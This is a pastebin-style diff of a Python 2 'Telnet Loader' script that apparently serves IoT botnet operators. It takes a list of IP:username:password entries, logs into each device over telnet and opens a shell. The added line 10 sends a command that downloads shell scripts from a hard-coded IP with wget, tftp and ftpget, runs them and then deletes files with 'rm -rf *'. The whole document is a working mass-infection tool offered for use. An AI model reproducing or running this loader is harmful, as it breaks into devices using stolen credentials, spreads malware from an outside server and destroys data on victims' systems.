SHOW:
|
|
- or go back to the newest paste.
1 | #!/usr/bin/python | |
2 | # Simple Telnet Loader | By; LiGhT | |
3 | ||
4 | import sys, re, os, socket, time | |
5 | from threading import Thread | |
6 | ||
7 | if len(sys.argv) < 2: | |
8 | sys.exit("\033[37mUsage: python "+sys.argv[0]+" [list]") | |
9 | ||
10 | - | cmd="" #command to send |
10 | + | cmd="cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://138.68.7.241/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp 138.68.7.241 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 138.68.7.241; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 138.68.7.241 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *" #command to send |
11 | info = open(str(sys.argv[1]),'a+') | |
12 | ||
13 | def sqwad(ip,username,password): | |
14 | ip = str(ip).rstrip("\n") | |
15 | username = username.rstrip("\n") | |
16 | password = password.rstrip("\n") | |
17 | try: | |
18 | tn = socket.socket() | |
19 | tn.settimeout(5) | |
20 | tn.connect((ip,23)) | |
21 | except Exception: | |
22 | print "\033[32m[\033[31m+\033[32m] \033[31mFailed To Connect!\033[37m %s"%(ip) | |
23 | tn.close() | |
24 | try: | |
25 | hoho = '' | |
26 | hoho += readUntil(tn, "ogin") | |
27 | if "ogin" in hoho: | |
28 | tn.send(username + "\n") | |
29 | print "\033[32m[\033[31m+\033[32m] \033[35mSending Username!\033[37m %s"%(ip) | |
30 | time.sleep(0.09) | |
31 | else: | |
32 | pass | |
33 | except Exception: | |
34 | tn.close() | |
35 | try: | |
36 | hoho = '' | |
37 | hoho += readUntil(tn, "assword:") | |
38 | if "assword" in hoho: | |
39 | tn.send(password + "\n") | |
40 | print "\033[32m[\033[33m+\033[32m] \033[36mSending Password!\033[37m %s"%(ip) | |
41 | time.sleep(2) | |
42 | else: | |
43 | pass | |
44 | except Exception: | |
45 | tn.close() | |
46 | try: | |
47 | tn.send("sh" + "\n") | |
48 | time.sleep(0.009) | |
49 | tn.send("shell" + "\n") | |
50 | time.sleep(0.01) | |
51 | tn.send(cmd + "\n") | |
52 | print "\033[32m[\033[31m+\033[32m] \033[32mCommand Sent!\033[37m %s"%(ip) #False possitives because thats what yall wanted lmao | |
53 | time.sleep(15) | |
54 | tn.close() | |
55 | except Exception: | |
56 | tn.close() | |
57 | ||
58 | def readUntil(tn, string, timeout=8): | |
59 | buf = '' | |
60 | start_time = time.time() | |
61 | while time.time() - start_time < timeout: | |
62 | buf += tn.recv(1024) | |
63 | time.sleep(0.01) | |
64 | if string in buf: return buf | |
65 | raise Exception('TIMEOUT!') | |
66 | ||
67 | for x in info: | |
68 | try: | |
69 | if ":23 " in x: | |
70 | x = x.replace(":23 ", ":") | |
71 | xinfo = x.split(":") | |
72 | session = Thread(target=sqwad, args=(xinfo[0].rstrip("\n"),xinfo[1].rstrip("\n"),xinfo[2].rstrip("\n"),)) | |
73 | session.start() | |
74 | ip=xinfo[0] | |
75 | username=xinfo[1] | |
76 | password=xinfo[2] | |
77 | time.sleep(0.01) | |
78 | except: | |
79 | pass |